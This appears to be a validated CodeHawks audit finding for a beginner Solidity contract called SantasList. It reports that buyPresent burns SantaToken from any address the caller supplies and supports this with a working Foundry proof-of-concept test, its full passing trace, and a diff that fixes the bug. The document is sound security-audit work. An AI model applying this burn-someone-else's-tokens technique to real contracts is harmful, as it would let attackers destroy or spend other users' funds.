Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Present could be bought with someone else's tokens

Summary

Present could be bought with someone else's tokens

Vulnerability Details

buyPresnet should allow you to buy presents with SantaToken, it requires an address to be provided, burns SantaToken from that address, and mints SantasList to msg. sender

Impact

Present could be bought without SantaToken just by providing a right address to buyPresnet

Test:

function testBuyPresent() public {
address extraNicePerson = makeAddr("extraNice");
address naughtyPerson = makeAddr("naughtyPerson");
vm.startPrank(santa);
santasList.checkList(extraNicePerson, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(extraNicePerson, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(extraNicePerson);
santaToken.approve(address(santasList), 1e18);
santasList.collectPresent();
vm.stopPrank();
vm.startPrank(naughtyPerson);
santasList.buyPresent(extraNicePerson);
assertEq(santasList.balanceOf(naughtyPerson), 1);
vm.stopPrank();
}

Log:

[PASS] testBuyPresent() (gas: 226336)
Traces:
[226336] Codehawk::testBuyPresent()
├─ [0] VM::addr(91588955459005037706899338355575987614619543762033424836026148977233915177286 [9.158e76]) [staticcall]
│ └─ ← extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA]
├─ [0] VM::label(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], "extraNice")
│ └─ ← ()
├─ [0] VM::addr(59473258362455770892207176146854147308564458821009993074427965102032172865775 [5.947e76]) [staticcall]
│ └─ ← naughtyPerson: [0xF8C3Db5a31B41750A68A0C0B1847d38D0f3f6cFD]
├─ [0] VM::label(naughtyPerson: [0xF8C3Db5a31B41750A68A0C0B1847d38D0f3f6cFD], "naughtyPerson")
│ └─ ← ()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [24111] SantasList::checkList(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], 1)
│ ├─ emit CheckedOnce(person: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], 1)
│ ├─ emit CheckedTwice(person: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], status: 1)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ └─ ← ()
├─ [24546] SantaToken::approve(SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69], 1000000000000000000 [1e18])
│ ├─ emit Approval(owner: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], spender: SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69], amount: 1000000000000000000 [1e18])
│ └─ ← true
├─ [117577] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], tokenId: 0)
│ ├─ [46713] SantaToken::mint(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(naughtyPerson: [0xF8C3Db5a31B41750A68A0C0B1847d38D0f3f6cFD])
│ └─ ← ()
├─ [40919] SantasList::buyPresent(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ ├─ [2348] SantaToken::burn(extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA])
│ │ ├─ emit Transfer(from: extraNice: [0x78AEdCAC92Abab5EEEF72eF553095fDc676d22EA], to: 0x0000000000000000000000000000000000000000, amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: naughtyPerson: [0xF8C3Db5a31B41750A68A0C0B1847d38D0f3f6cFD], tokenId: 1)
│ └─ ← ()
├─ [678] SantasList::balanceOf(naughtyPerson: [0xF8C3Db5a31B41750A68A0C0B1847d38D0f3f6cFD]) [staticcall]
│ └─ ← 1
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.30ms

Tools Used

Manual, Foundry

Recommendations

Burn SantaToken from msg.sender and mint for presentReceiver

...
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ i_santaToken.burn(msg.sender);
- _mintAndIncrement();
+ _safeMint(presentReceiver, s_tokenCounter++);
}
...
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.